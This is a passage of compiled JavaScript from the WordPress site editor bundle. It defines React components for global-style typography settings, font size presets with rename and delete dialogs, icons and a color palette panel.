}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "h6",
showTooltip: true,
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 6'),
label: (0,external_wp_i18n_namespaceObject.__)('H6')
})]
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyPanel, {
element: element,
headingLevel: headingLevel
})]
});
}
/* harmony default export */ const screen_typography_element = (ScreenTypographyElement);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-size-preview.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: font_size_preview_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function FontSizePreview({
fontSize
}) {
var _font$fontFamily;
const [font] = font_size_preview_useGlobalStyle('typography');
const input = fontSize?.fluid?.min && fontSize?.fluid?.max ? {
minimumFontSize: fontSize.fluid.min,
maximumFontSize: fontSize.fluid.max
} : {
fontSize: fontSize.size
};
const computedFontSize = (0,external_wp_blockEditor_namespaceObject.getComputedFluidTypographyValue)(input);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-typography-preview",
style: {
fontSize: computedFontSize,
fontFamily: (_font$fontFamily = font?.fontFamily) !== null && _font$fontFamily !== void 0 ? _font$fontFamily : 'serif'
},
children: (0,external_wp_i18n_namespaceObject.__)('Aa')
});
}
/* harmony default export */ const font_size_preview = (FontSizePreview);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/confirm-delete-font-size-dialog.js
/**
* WordPress dependencies
*/
function ConfirmDeleteFontSizeDialog({
fontSize,
isOpen,
toggleOpen,
handleRemoveFontSize
}) {
const handleConfirm = async () => {
toggleOpen();
handleRemoveFontSize(fontSize);
};
const handleCancel = () => {
toggleOpen();
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
isOpen: isOpen,
cancelButtonText: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Delete'),
onCancel: handleCancel,
onConfirm: handleConfirm,
size: "medium",
children: fontSize && (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Name of the font size preset. */
(0,external_wp_i18n_namespaceObject.__)('Are you sure you want to delete "%s" font size preset?'), fontSize.name)
});
}
/* harmony default export */ const confirm_delete_font_size_dialog = (ConfirmDeleteFontSizeDialog);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/rename-font-size-dialog.js
/**
* WordPress dependencies
*/
function RenameFontSizeDialog({
fontSize,
toggleOpen,
handleRename
}) {
const [newName, setNewName] = (0,external_wp_element_namespaceObject.useState)(fontSize.name);
const handleConfirm = () => {
// If the new name is not empty, call the handleRename function
if (newName.trim()) {
handleRename(newName);
}
toggleOpen();
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
onRequestClose: toggleOpen,
focusOnMount: "firstContentElement",
title: (0,external_wp_i18n_namespaceObject.__)('Rename'),
size: "small",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
onSubmit: event => {
event.preventDefault();
handleConfirm();
toggleOpen();
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: "3",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControl, {
__next40pxDefaultSize: true,
autoComplete: "off",
value: newName,
onChange: setNewName,
label: (0,external_wp_i18n_namespaceObject.__)('Name'),
placeholder: (0,external_wp_i18n_namespaceObject.__)('Font size preset name')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "right",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "tertiary",
onClick: toggleOpen,
children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "primary",
type: "submit",
children: (0,external_wp_i18n_namespaceObject.__)('Save')
})]
})]
})
})
});
}
/* harmony default export */ const rename_font_size_dialog = (RenameFontSizeDialog);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/size-control/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const DEFAULT_UNITS = ['px', 'em', 'rem', 'vw', 'vh'];
function SizeControl({
// Do not allow manipulation of margin bottom
__nextHasNoMarginBottom,
...props
}) {
const {
baseControlProps
} = (0,external_wp_components_namespaceObject.useBaseControlProps)(props);
const {
value,
onChange,
fallbackValue,
disabled,
label
} = props;
const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
availableUnits: DEFAULT_UNITS
});
const [valueQuantity, valueUnit = 'px'] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(value, units);
const isValueUnitRelative = !!valueUnit && ['em', 'rem', 'vw', 'vh'].includes(valueUnit);
// Receives the new value from the UnitControl component as a string containing the value and unit.
const handleUnitControlChange = newValue => {
onChange(newValue);
};
// Receives the new value from the RangeControl component as a number.
const handleRangeControlChange = newValue => {
onChange?.(newValue + valueUnit);
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl, {
...baseControlProps,
__nextHasNoMarginBottom: true,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
isBlock: true,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalUnitControl, {
__next40pxDefaultSize: true,
__nextHasNoMarginBottom: true,
label: label,
hideLabelFromVision: true,
value: value,
onChange: handleUnitControlChange,
units: units,
min: 0,
disabled: disabled
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
isBlock: true,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
marginX: 2,
marginBottom: 0,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RangeControl, {
__next40pxDefaultSize: true,
__nextHasNoMarginBottom: true,
label: label,
hideLabelFromVision: true,
value: valueQuantity,
initialPosition: fallbackValue,
withInputField: false,
onChange: handleRangeControlChange,
min: 0,
max: isValueUnitRelative ? 10 : 100,
step: isValueUnitRelative ? 0.1 : 1,
disabled: disabled
})
})
})]
})
});
}
/* harmony default export */ const size_control = (SizeControl);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-size.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Menu
} = unlock(external_wp_components_namespaceObject.privateApis);
const {
useGlobalSetting: font_size_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function FontSize() {
var _fontSizes$origin;
const [isDeleteConfirmOpen, setIsDeleteConfirmOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const [isRenameDialogOpen, setIsRenameDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const {
params: {
origin,
slug
},
goBack
} = (0,external_wp_components_namespaceObject.useNavigator)();
const [fontSizes, setFontSizes] = font_size_useGlobalSetting('typography.fontSizes');
const [globalFluid] = font_size_useGlobalSetting('typography.fluid');
// Get the font sizes from the origin, default to empty array.
const sizes = (_fontSizes$origin = fontSizes[origin]) !== null && _fontSizes$origin !== void 0 ? _fontSizes$origin : [];
// Get the font size by slug.
const fontSize = sizes.find(size => size.slug === slug);
// Navigate to the font sizes list if the font size is not available.
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (!!slug && !fontSize) {
goBack();
}
}, [slug, fontSize, goBack]);
if (!origin || !slug || !fontSize) {
return null;
}
// Whether the font size is fluid. If not defined, use the global fluid value of the theme.
const isFluid = fontSize?.fluid !== undefined ? !!fontSize.fluid : !!globalFluid;
// Whether custom fluid values are used.
const isCustomFluid = typeof fontSize?.fluid === 'object';
const handleNameChange = value => {
updateFontSize('name', value);
};
const handleFontSizeChange = value => {
updateFontSize('size', value);
};
const handleFluidChange = value => {
updateFontSize('fluid', value);
};
const handleCustomFluidValues = value => {
if (value) {
// If custom values are used, init the values with the current ones.
updateFontSize('fluid', {
min: fontSize.size,
max: fontSize.size
});
} else {
// If custom fluid values are disabled, set fluid to true.
updateFontSize('fluid', true);
}
};
const handleMinChange = value => {
updateFontSize('fluid', {
...fontSize.fluid,
min: value
});
};
const handleMaxChange = value => {
updateFontSize('fluid', {
...fontSize.fluid,
max: value
});
};
const updateFontSize = (key, value) => {
const newFontSizes = sizes.map(size => {
if (size.slug === slug) {
return {
...size,
[key]: value
}; // Create a new object with updated key
}
return size;
});
setFontSizes({
...fontSizes,
[origin]: newFontSizes
});
};
const handleRemoveFontSize = () => {
const newFontSizes = sizes.filter(size => size.slug !== slug);
setFontSizes({
...fontSizes,
[origin]: newFontSizes
});
};
const toggleDeleteConfirm = () => {
setIsDeleteConfirmOpen(!isDeleteConfirmOpen);
};
const toggleRenameDialog = () => {
setIsRenameDialogOpen(!isRenameDialogOpen);
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(confirm_delete_font_size_dialog, {
fontSize: fontSize,
isOpen: isDeleteConfirmOpen,
toggleOpen: toggleDeleteConfirm,
handleRemoveFontSize: handleRemoveFontSize
}), isRenameDialogOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(rename_font_size_dialog, {
fontSize: fontSize,
toggleOpen: toggleRenameDialog,
handleRename: handleNameChange
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
align: "flex-start",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: fontSize.name,
description: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: font size preset name. */
(0,external_wp_i18n_namespaceObject.__)('Manage the font size %s.'), fontSize.name)
}), origin === 'custom' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
marginTop: 3,
marginBottom: 0,
paddingX: 4,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Menu, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.TriggerButton, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "small",
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Font size options')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Menu.Popover, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Item, {
onClick: toggleRenameDialog,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, {
children: (0,external_wp_i18n_namespaceObject.__)('Rename')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.Item, {
onClick: toggleDeleteConfirm,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Menu.ItemLabel, {
children: (0,external_wp_i18n_namespaceObject.__)('Delete')
})
})]
})]
})
})
})]
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
paddingX: 4,
marginBottom: 0,
paddingBottom: 6,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_size_preview, {
fontSize: fontSize
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(size_control, {
label: (0,external_wp_i18n_namespaceObject.__)('Size'),
value: !isCustomFluid ? fontSize.size : '',
onChange: handleFontSizeChange,
disabled: isCustomFluid
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToggleControl, {
label: (0,external_wp_i18n_namespaceObject.__)('Fluid typography'),
help: (0,external_wp_i18n_namespaceObject.__)('Scale the font size dynamically to fit the screen or viewport.'),
checked: isFluid,
onChange: handleFluidChange,
__nextHasNoMarginBottom: true
}), isFluid && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToggleControl, {
label: (0,external_wp_i18n_namespaceObject.__)('Custom fluid values'),
help: (0,external_wp_i18n_namespaceObject.__)('Set custom min and max values for the fluid font size.'),
checked: isCustomFluid,
onChange: handleCustomFluidValues,
__nextHasNoMarginBottom: true
}), isCustomFluid && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(size_control, {
label: (0,external_wp_i18n_namespaceObject.__)('Minimum'),
value: fontSize.fluid?.min,
onChange: handleMinChange
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(size_control, {
label: (0,external_wp_i18n_namespaceObject.__)('Maximum'),
value: fontSize.fluid?.max,
onChange: handleMaxChange
})]
})]
})
})
})]
})]
});
}
/* harmony default export */ const font_size = (FontSize);
;// ./node_modules/@wordpress/icons/build-module/library/plus.js
/**
* WordPress dependencies
*/
const plus = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z"
})
});
/* harmony default export */ const library_plus = (plus);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/confirm-reset-font-sizes-dialog.js
/**
* WordPress dependencies
*/
function ConfirmResetFontSizesDialog({
text,
confirmButtonText,
isOpen,
toggleOpen,
onConfirm
}) {
const handleConfirm = async () => {
toggleOpen();
onConfirm();
};
const handleCancel = () => {
toggleOpen();
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
isOpen: isOpen,
cancelButtonText: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
confirmButtonText: confirmButtonText,
onCancel: handleCancel,
onConfirm: handleConfirm,
size: "medium",
children: text
});
}
/* harmony default export */ const confirm_reset_font_sizes_dialog = (ConfirmResetFontSizesDialog);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-sizes.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Menu: font_sizes_Menu
} = unlock(external_wp_components_namespaceObject.privateApis);
const {
useGlobalSetting: font_sizes_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function FontSizeGroup({
label,
origin,
sizes,
handleAddFontSize,
handleResetFontSizes
}) {
const [isResetDialogOpen, setIsResetDialogOpen] = (0,external_wp_element_namespaceObject.useState)(false);
const toggleResetDialog = () => setIsResetDialogOpen(!isResetDialogOpen);
const resetDialogText = origin === 'custom' ? (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to remove all custom font size presets?') : (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to reset all font size presets to their default values?');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [isResetDialogOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(confirm_reset_font_sizes_dialog, {
text: resetDialogText,
confirmButtonText: origin === 'custom' ? (0,external_wp_i18n_namespaceObject.__)('Remove') : (0,external_wp_i18n_namespaceObject.__)('Reset'),
isOpen: isResetDialogOpen,
toggleOpen: toggleResetDialog,
onConfirm: handleResetFontSizes
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
align: "center",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: label
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.FlexItem, {
children: [origin === 'custom' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
label: (0,external_wp_i18n_namespaceObject.__)('Add font size'),
icon: library_plus,
size: "small",
onClick: handleAddFontSize
}), !!handleResetFontSizes && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(font_sizes_Menu, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.TriggerButton, {
render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "small",
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Font size presets options')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.Popover, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.Item, {
onClick: toggleResetDialog,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_Menu.ItemLabel, {
children: origin === 'custom' ? (0,external_wp_i18n_namespaceObject.__)('Remove font size presets') : (0,external_wp_i18n_namespaceObject.__)('Reset font size presets')
})
})
})]
})]
})]
}), !!sizes.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
isBordered: true,
isSeparated: true,
children: sizes.map(size => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: `/typography/font-sizes/${origin}/${size.slug}`,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
className: "edit-site-font-size__item",
children: size.name
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
display: "flex",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
})
})]
})
}, size.slug))
})]
})]
});
}
function font_sizes_FontSizes() {
const [themeFontSizes, setThemeFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.theme');
const [baseThemeFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.theme', null, 'base');
const [defaultFontSizes, setDefaultFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.default');
const [baseDefaultFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.default', null, 'base');
const [customFontSizes = [], setCustomFontSizes] = font_sizes_useGlobalSetting('typography.fontSizes.custom');
const [defaultFontSizesEnabled] = font_sizes_useGlobalSetting('typography.defaultFontSizes');
const handleAddFontSize = () => {
const index = getNewIndexFromPresets(customFontSizes, 'custom-');
const newFontSize = {
/* translators: %d: font size index */
name: (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('New Font Size %d'), index),
size: '16px',
slug: `custom-${index}`
};
setCustomFontSizes([...customFontSizes, newFontSize]);
};
const hasSameSizeValues = (arr1, arr2) => arr1.map(item => item.size).join('') === arr2.map(item => item.size).join('');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 2,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('Font size presets'),
description: (0,external_wp_i18n_namespaceObject.__)('Create and edit the presets used for font sizes across the site.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
paddingX: 4,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 8,
children: [!!themeFontSizes?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontSizeGroup, {
label: (0,external_wp_i18n_namespaceObject.__)('Theme'),
origin: "theme",
sizes: themeFontSizes,
baseSizes: baseThemeFontSizes,
handleAddFontSize: handleAddFontSize,
handleResetFontSizes: hasSameSizeValues(themeFontSizes, baseThemeFontSizes) ? null : () => setThemeFontSizes(baseThemeFontSizes)
}), defaultFontSizesEnabled && !!defaultFontSizes?.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontSizeGroup, {
label: (0,external_wp_i18n_namespaceObject.__)('Default'),
origin: "default",
sizes: defaultFontSizes,
baseSizes: baseDefaultFontSizes,
handleAddFontSize: handleAddFontSize,
handleResetFontSizes: hasSameSizeValues(defaultFontSizes, baseDefaultFontSizes) ? null : () => setDefaultFontSizes(baseDefaultFontSizes)
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontSizeGroup, {
label: (0,external_wp_i18n_namespaceObject.__)('Custom'),
origin: "custom",
sizes: customFontSizes,
handleAddFontSize: handleAddFontSize,
handleResetFontSizes: customFontSizes.length > 0 ? () => setCustomFontSizes([]) : null
})]
})
})
})]
});
}
/* harmony default export */ const font_sizes = (font_sizes_FontSizes);
;// ./node_modules/@wordpress/icons/build-module/library/shuffle.js
/**
* WordPress dependencies
*/
const shuffle = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/SVG",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
d: "M17.192 6.75L15.47 5.03l1.06-1.06 3.537 3.53-3.537 3.53-1.06-1.06 1.723-1.72h-3.19c-.602 0-.993.202-1.28.498-.309.319-.538.792-.695 1.383-.13.488-.222 1.023-.296 1.508-.034.664-.116 1.413-.303 2.117-.193.721-.513 1.467-1.068 2.04-.575.594-1.359.954-2.357.954H4v-1.5h4.003c.601 0 .993-.202 1.28-.498.308-.319.538-.792.695-1.383.149-.557.216-1.093.288-1.662l.039-.31a9.653 9.653 0 0 1 .272-1.653c.193-.722.513-1.467 1.067-2.04.576-.594 1.36-.954 2.358-.954h3.19zM8.004 6.75c.8 0 1.46.23 1.988.628a6.24 6.24 0 0 0-.684 1.396 1.725 1.725 0 0 0-.024-.026c-.287-.296-.679-.498-1.28-.498H4v-1.5h4.003zM12.699 14.726c-.161.459-.38.94-.684 1.396.527.397 1.188.628 1.988.628h3.19l-1.722 1.72 1.06 1.06L20.067 16l-3.537-3.53-1.06 1.06 1.723 1.72h-3.19c-.602 0-.993-.202-1.28-.498a1.96 1.96 0 0 1-.024-.026z"
})
});
/* harmony default export */ const library_shuffle = (shuffle);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/color-indicator-wrapper.js
/**
* External dependencies
*/
/**
* WordPress dependencies
*/
function ColorIndicatorWrapper({
className,
...props
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, {
className: dist_clsx('edit-site-global-styles__color-indicator-wrapper', className),
...props
});
}
/* harmony default export */ const color_indicator_wrapper = (ColorIndicatorWrapper);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/palette.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalSetting: palette_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
const EMPTY_COLORS = [];
function Palette({
name
}) {
const [customColors] = palette_useGlobalSetting('color.palette.custom');
const [themeColors] = palette_useGlobalSetting('color.palette.theme');
const [defaultColors] = palette_useGlobalSetting('color.palette.default');
const [defaultPaletteEnabled] = palette_useGlobalSetting('color.defaultPalette', name);
const [randomizeThemeColors] = useColorRandomizer();
const colors = (0,external_wp_element_namespaceObject.useMemo)(() => [...(customColors || EMPTY_COLORS), ...(themeColors || EMPTY_COLORS), ...(defaultColors && defaultPaletteEnabled ? defaultColors : EMPTY_COLORS)], [customColors, themeColors, defaultColors, defaultPaletteEnabled]);
const screenPath = !name ? '/colors/palette' : '/blocks/' + encodeURIComponent(name) + '/colors/palette';
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 3,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: (0,external_wp_i18n_namespaceObject.__)('Palette')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
isBordered: true,
isSeparated: true,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, {
path: screenPath,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
direction: "row",
children: [colors.length > 0 ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalZStack, {
isLayered: false,
offset: -8,
children: colors.slice(0, 5).map(({
color
}, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(color_indicator_wrapper, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ColorIndicator, {
colorValue: color
})
}, `${color}-${index}`))
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
isBlock: true,
children: (0,external_wp_i18n_namespaceObject.__)('Edit palette')
})]
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: (0,external_wp_i18n_namespaceObject.__)('Add colors')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon, {
icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left : chevron_right
})]
})
})
}), window.__experimentalEnableColorRandomizer && themeColors?.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "secondary",
icon: library_shuffle,
onClick: randomizeThemeColors,
children: (0,external_wp_i18n_namespaceObject.__)('Randomize colors')
})]
});
}
/* harmony default export */ const palette = (Palette);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-colors.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: screen_colors_useGlobalStyle,
useGlobalSetting: screen_colors_useGlobalSetting,
useSettingsForBlockElement: screen_colors_useSettingsForBlockElement,
ColorPanel: screen_colors_StylesColorPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function ScreenColors() {
const [style] = screen_colors_useGlobalStyle('', undefined, 'user', {
shouldDecodeEncode: false
});
const [inheritedStyle, setStyle] = screen_colors_useGlobalStyle('', undefined, 'all', {
shouldDecodeEncode: false
});
const [rawSettings] = screen_colors_useGlobalSetting('');
const settings = screen_colors_useSettingsForBlockElement(rawSettings);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
